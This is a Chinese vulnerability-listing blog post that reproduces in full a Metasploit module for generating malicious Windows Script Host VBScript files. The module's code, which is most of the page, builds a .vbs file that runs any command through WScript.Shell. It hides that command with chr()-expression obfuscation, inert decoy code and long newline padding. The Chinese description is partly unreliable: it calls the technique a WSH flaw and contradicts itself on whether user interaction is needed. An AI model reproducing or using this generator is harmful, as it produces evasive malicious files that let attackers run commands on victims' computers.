Windows Script Host VBScript 恶意文件漏洞

漏洞信息

漏洞名称: Windows Script Host VBScript 恶意文件漏洞

漏洞类型: 命令执行

漏洞等级: 高危

漏洞描述: Windows Script Host (WSH) 是Microsoft Windows操作系统的一个组件,它允许用户在Windows环境中执行脚本,如VBScript和JScript。WSH广泛应用于自动化任务和脚本执行,是企业级和个人用户常用的脚本执行环境。该漏洞涉及通过特制的VBScript文件执行任意命令,属于命令执行类型。漏洞的技术根源在于WSH执行VBScript时未对脚本内容进行充分的验证和限制,导致攻击者可以构造恶意的VBScript文件,当用户打开该文件时,会执行攻击者预设的命令。这种漏洞的影响极为严重,因为它允许攻击者在受害者系统上执行任意命令,可能导致数据泄露、系统破坏或其他恶意活动。由于WSH是Windows系统的一部分,且广泛使用,该漏洞的影响范围非常广泛。攻击者可以通过诱骗用户打开恶意VBScript文件来利用此漏洞,无需用户交互即可自动执行恶意代码。

产品厂商: Microsoft

产品名称: Windows Script Host

影响版本: Microsoft Windows 98 or newer

来源: https://github.com/rapid7/metasploit-framework/blob/d36a1547f42ee3defca8aecdb210544a58633c31/modules%2Fexploits%2Fwindows%2Ffileformat%2Fwindows_script_host_vbscript.rb

类型: rapid7/metasploit-framework:github issues

POC详情

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Malicious Windows Script Host VBScript (.vbs) File',
'Description' => %q{
This module creates a Windows Script Host (WSH) VBScript (.vbs) file.
},
'License' => MSF_LICENSE,
'Author' => [
'bcoles'
],
'References' => [
['ATT&CK', Mitre::Attack::Technique::T1204_002_MALICIOUS_FILE],
],
'Arch' => [ARCH_CMD],
'Platform' => 'win',
'Payload' => {
'Space' => 8_000, # 8190 maximum command length, minus some space for "cmd.exe /c " and escaping
'BadChars' => "\x00",
'DisableNops' => true
},
'Targets' => [
[
'Microsoft Windows 98 or newer', {}
],
],
'Privileged' => false,
'DisclosureDate' => '1998-06-25', # Windows 98 release date
'DefaultTarget' => 0,
'DefaultOptions' => {
'DisablePayloadHandler' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [SCREEN_EFFECTS]
}
)
)

register_options([
OptString.new('FILENAME', [true, 'The VBScript file name.', 'msf.vbs']),
OptBool.new('OBFUSCATE', [false, 'Enable VBScript obfuscation', true])
])

register_advanced_options([
OptBool.new('PrependBenignCode', [false, 'Prepend several lines of benign code at the start of the file.', true]),
OptInt.new('PrependNewLines', [false, 'Prepend new lines before the malicious VBScript.', 100]),
])
end

# Returns a random math expression evaluating to input int
#
# @param [Integer] int input integer
#
# @return [String] math expression evaluating to input int
def generate_number_expression(int)
case rand(4)
when 0 # Sum
a = rand(0..int)
b = int - a
"(#{a}+#{b})"
when 1 # Difference
r1 = int + rand(1..10)
r2 = r1 - int
"(#{r1}-#{r2})"
when 2 # Product (only if divisible)
divisors = (1..int).select { |d| (int % d).zero? }
if divisors.size > 1
d = divisors.sample
"(#{d}*#{int / d})"
else
"(#{int}+0)"
end
when 3 # Quotient
r2 = rand(1..10)
r1 = int * r2
"(#{r1}/#{r2})"
end
end

# Return VBScript code with all strings split into chunks and concatenated
#
# @param [String] vbscript VBScript code
#
# @return [String] VBScript code with chunked strings
def chunk_vbscript_strings(vbscript)
vbscript.gsub(/"([^"]+)"/) do
original = Regexp.last_match(1)
chunks = []

i = 0
while i < original.length
chunk_size = rand(1..5)
chunks << "\"#{original[i, chunk_size]}\""
i += chunk_size
end

chunks.join(' & ')
end
end

# Build a series of inert VBScript noise blocks
#
# @param [Integer] block_count Number of blocks to generate
#
# @return [String] block_count blocks of inert VBScript
def generate_vbscript_noise(block_count = 0)
lines = []

block_count.times do
case rand(4)
when 0 # Dummy variable declarations and assignments
v1 = rand_text_alpha(6..16)
v2 = rand_text_alpha(6..16)
a = rand(0..100)
b = rand(0..100)
lines << "Dim #{v1}, #{v2}"
lines << "#{v1} = #{a}"
lines << "#{v2} = #{b}"
when 1 # Dummy Function
fname = rand_text_alpha(6..16)
arg = rand_text_alpha(6..16)
mult = rand(1..5)
lines << "Function #{fname}(#{arg})"
lines << " #{fname} = #{arg} * #{mult}"
lines << 'End Function'
when 2 # Dummy Sub
sname = rand_text_alpha(6..16)
arg = rand_text_alpha(6..16)
mult = rand(1..5)
lines << "Sub #{sname}(#{arg})"
lines << " #{sname} = #{arg} * #{mult}"
lines << 'End Sub'
when 3 # Dummy For loop
idx = rand_text_alpha(6..16)
max = rand(1..5)
lines << "Dim #{idx}"
lines << "For #{idx} = 1 To #{max}"
lines << " #{idx} = #{idx} + 0"
lines << 'Next'
end
end

lines.join("\r\n")
end

# Obfuscate string literals and integer literals
#
# @param [String] vbscript VBScript code to be obfuscated
#
# @return [String] Obfuscated VBScript
def obfuscate_vbscript(vbscript)
obfuscated = vbscript.dup

# Obfuscate strings
obfuscated = chunk_vbscript_strings(obfuscated)
obfuscated.gsub!(/"((?:[^"]|"")*)"/) do
raw = ::Regexp.last_match(1).gsub('""', '"')
raw.chars.map { |c| "chr(#{generate_number_expression(c.ord)})" }.join(' & ')
end

# Obfuscate integers
obfuscated.gsub!(/\b\d+\b/) do |num|
generate_number_expression(num.to_i)
end

obfuscated
end

def generate_vbscript(command_string, prepend_benign_code: false, prepend_new_lines: 0, obfuscate: false)
vbs = ''
vbs << generate_vbscript_noise(rand(8..10)) if prepend_benign_code
vbs << "\r\n" * prepend_new_lines

escaped_payload = command_string.gsub('\\', '\\\\\\').gsub('"', '\\"')

# If the payload contains " & " we presume it is a command string.
#
# TODO: Change this once Metasploit is able to inform a module that
# the specified ARCH_CMD payload is a string of commands
# (not a single command).
if escaped_payload.include?(' & ')
cmd = "cmd.exe /c #{escaped_payload}"
else
cmd = escaped_payload
end

shell_obj = 'WScript.Shell'.chars.map { |c| (rand(2) == 0 ? c.downcase : c.upcase) }.join
vbs_payload = "CreateObject(\"#{shell_obj}\").Run(\"#{cmd}\")"
if obfuscate
vbs << obfuscate_vbscript(vbs_payload)
else
vbs << vbs_payload
end

vbs
end

def exploit
vbs = generate_vbscript(
payload.encoded,
prepend_benign_code: datastore['PrependBenignCode'],
prepend_new_lines: datastore['PrependNewLines'],
obfuscate: datastore['OBFUSCATE']
)
file_create(vbs)
end
end



Windows Script Host VBScript 恶意文件漏洞
http://example.com/2025/07/27/github_2250200935/
作者
lianccc
发布于
2025年7月27日
许可协议